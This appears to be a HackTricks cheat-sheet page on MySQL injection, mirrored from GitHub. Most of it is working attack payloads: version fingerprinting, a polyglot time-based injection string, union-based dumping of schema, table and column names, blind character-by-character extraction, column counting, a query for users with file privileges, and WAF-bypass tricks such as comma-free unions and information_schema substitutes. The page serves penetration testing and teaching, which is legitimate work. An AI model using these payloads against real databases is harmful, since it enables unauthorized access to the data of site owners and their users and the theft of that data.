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https://github.com/carlospolop/hacktricks
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182 lines
5.9 KiB
Markdown
182 lines
5.9 KiB
Markdown
# MySQL injection
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**This is a basic flow of how to confirm and perform a basic MySQL Injection. For more information go to:** [**https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md**](https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md)
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## Comments
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```sql
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-- MYSQL Comment
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# MYSQL Comment
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/* MYSQL Comment */
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/*! MYSQL Special SQL */
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/*!32302 10*/ Comment for MySQL version 3.23.02
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```
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## Interesting Functions
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### Confirm Mysql:
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```
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concat('a','b')
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database()
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version()
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user()
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system_user()
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@@version
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@@datadir
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rand()
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floor(2.9)
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length(1)
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count(1)
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```
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### Useful functions
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```sql
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SELECT hex(database())
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SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
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SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
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SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
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SELECT replace(database(),"r","R")
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SELECT substr(database(),1,1)='r'
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SELECT substring(database(),1,1)=0x72
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SELECT ascii(substring(database(),1,1))=114
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SELECT database()=char(114,101,120,116,101,115,116,101,114)
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SELECT group_concat(<COLUMN>) FROM <TABLE>
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SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
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SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
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strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
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```
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## All injection
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```sql
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SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
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```
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from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
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## Flow
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Remember that in "modern" versions of **MySQL** you can substitute "_**information\_schema.tables**_" for "_**mysql.innodb\_table\_stats**_**"** (This could be useful to bypass WAFs).
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```sql
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SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
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SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
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SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
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SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
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```
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### **Only 1 value**
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* `group_concat()`
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* `Limit X,1`
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### **Blind one by one**
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* `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
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* `mid(version(),X,1)='5'`
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### **Blind adding**
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* `LPAD(version(),1...lenght(version()),'1')='asd'...`
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* `RPAD(version(),1...lenght(version()),'1')='asd'...`
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* `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
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* `SELECT LEFT(version(),1...lenght(version()))='asd'...`
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* `SELECT INSTR('foobarbar', 'fo...')=1`
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## Detect number of columns
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Using a simple ORDER
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```
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order by 1
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order by 2
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order by 3
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...
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order by XXX
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UniOn SeLect 1
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UniOn SeLect 1,2
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UniOn SeLect 1,2,3
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...
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```
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## MySQL Union Based
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```sql
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
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UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
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```
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## SSRF
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**Learn here different options to** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
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## WAF bypass tricks
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### Information\_schema alternatives
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Remember that in "modern" versions of **MySQL** you can substitute _**information\_schema.tables**_ for _**mysql.innodb\_table\_stats**_** ** or for _**sys.x$schema\_flattened\_keys**_ or for **sys.schema\_table\_statistics**
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.png>)
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.png>)
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### MySQLinjection without COMMAS
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Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
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```
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-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
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```
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### Retrieving values without the column name
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If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
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```bash
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# When a True is returned, you have found the number of columns
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select (select "", "") = (SELECT * from demo limit 1); # 2columns
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select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
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```
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Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
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```bash
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# When True, you found the correct char and can start ruteforcing the next position
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select (select 1, 'flaf') = (SELECT * from demo limit 1);
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```
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More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
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### MySQL history
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You ca see other executions inside the MySQL reading the table: **sys.x$statement\_analysis**
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### Version alternative**s**
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```
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mysql> select @@innodb_version;
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+------------------+
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| @@innodb_version |
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+------------------+
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| 5.6.31 |
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+------------------+
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mysql> select @@version;
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+-------------------------+
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| @@version |
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+-------------------------+
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| 5.6.31-0ubuntu0.15.10.1 |
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+-------------------------+
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mysql> mysql> select version();
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+-------------------------+
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| version() |
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+-------------------------+
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| 5.6.31-0ubuntu0.15.10.1 |
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+-------------------------+
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```
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